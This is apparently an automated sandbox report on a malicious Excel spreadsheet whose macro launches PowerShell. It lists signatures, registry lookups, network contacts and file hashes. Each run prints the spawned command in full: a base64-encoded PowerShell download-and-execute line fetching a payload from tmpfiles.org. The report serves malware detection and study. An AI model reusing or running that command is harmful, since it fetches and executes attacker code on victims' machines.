Analysis Overview
SHA256
6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c
Threat Level: Known bad
The file 6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Blocklisted process makes network request
Office macro that triggers on suspicious action
Suspicious Office macro
Deletes itself
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Suspicious use of SetWindowsHookEx
NTFS ADS
Suspicious behavior: RenamesItself
Suspicious use of FindShellTrayWindow
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Checks processor information in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of AdjustPrivilegeToken
Enumerates system info in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-08 22:03
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-08 22:03
Reported
2024-08-08 22:04
Platform
win7-20240708-en
Max time kernel
37s
Max time network
18s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Temp\D3967F00\:Zone.Identifier:$DATA | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: RenamesItself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2652 wrote to memory of 2576 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2652 wrote to memory of 2576 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2652 wrote to memory of 2576 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2652 wrote to memory of 2576 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c.xls
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADAAOQA5ADUAMQAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | tmpfiles.org | udp |
| US | 104.21.21.16:443 | tmpfiles.org | tcp |
Files
memory/2652-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2652-1-0x0000000071EBD000-0x0000000071EC8000-memory.dmp
memory/2652-5-0x00000000005F0000-0x00000000006F0000-memory.dmp
memory/2652-4-0x00000000005F0000-0x00000000006F0000-memory.dmp
memory/2652-7-0x00000000005F0000-0x00000000006F0000-memory.dmp
memory/2652-6-0x00000000063F0000-0x00000000064F0000-memory.dmp
memory/2652-15-0x0000000071EBD000-0x0000000071EC8000-memory.dmp
memory/2652-16-0x00000000063F0000-0x00000000064F0000-memory.dmp
memory/2652-17-0x00000000005F0000-0x00000000006F0000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-08 22:03
Reported
2024-08-08 22:04
Platform
win10v2004-20240802-en
Max time kernel
46s
Max time network
36s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Temp\B9F75E00\:Zone.Identifier:$DATA | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 716 wrote to memory of 4956 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 716 wrote to memory of 4956 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c.xls"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADAAOQA5ADUAMQAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 75.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 170.117.168.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tmpfiles.org | udp |
| US | 104.21.21.16:443 | tmpfiles.org | tcp |
| US | 8.8.8.8:53 | 16.21.21.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
Files
memory/716-0-0x00007FF8BB050000-0x00007FF8BB060000-memory.dmp
memory/716-4-0x00007FF8BB050000-0x00007FF8BB060000-memory.dmp
memory/716-2-0x00007FF8BB050000-0x00007FF8BB060000-memory.dmp
memory/716-1-0x00007FF8BB050000-0x00007FF8BB060000-memory.dmp
memory/716-3-0x00007FF8BB050000-0x00007FF8BB060000-memory.dmp
memory/716-5-0x00007FF8FB06D000-0x00007FF8FB06E000-memory.dmp
memory/716-6-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-9-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-8-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-12-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-13-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-14-0x00007FF8B8C90000-0x00007FF8B8CA0000-memory.dmp
memory/716-11-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-15-0x00007FF8B8C90000-0x00007FF8B8CA0000-memory.dmp
memory/716-10-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-20-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-19-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-18-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-17-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-16-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-7-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/716-40-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
memory/4956-64-0x0000021E5D0F0000-0x0000021E5D112000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fonjk4s3.g4h.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Local\Temp\6481edbc725104b15a4ae9e80f11c4a0060a74b5b1bf44d06e20975cd57e580c.xls
| MD5 | 2ac48467b6f6fa3a6d4024cf63a74911 |
| SHA1 | f2a9226c8a78fa4cfb921ce0150b7fda63ccbe4e |
| SHA256 | 75c7b0e32aaebe85d46ebb68362dd910a003887463b7cd49a1bf77b7bfcc7421 |
| SHA512 | 8e834aff6ebe6257f927606d12676ae0e82b2ff949b6c86bed756367ed609f57c04f4d6618e5496c894d8870c212ee9d421f5063735944c91271e0d98902e7fc |
memory/716-79-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | f18eb17d4b298818e8499d56aee24f64 |
| SHA1 | db0707f80d5cbfda8fde96aadf9bb352ddaa2450 |
| SHA256 | cc3e478d7b9cc4193f9f2233dfcf47a927a329dc7b859ac48609bd450b3995c4 |
| SHA512 | 9accaca5779c12b0eb512779b32d8744a4ea294e68bc6e60f6eefdf3c9ee16f3f42d9e1bddf747616a46712636c2715d29fe1322636a667b1b1e87d4beeb2949 |
memory/716-86-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp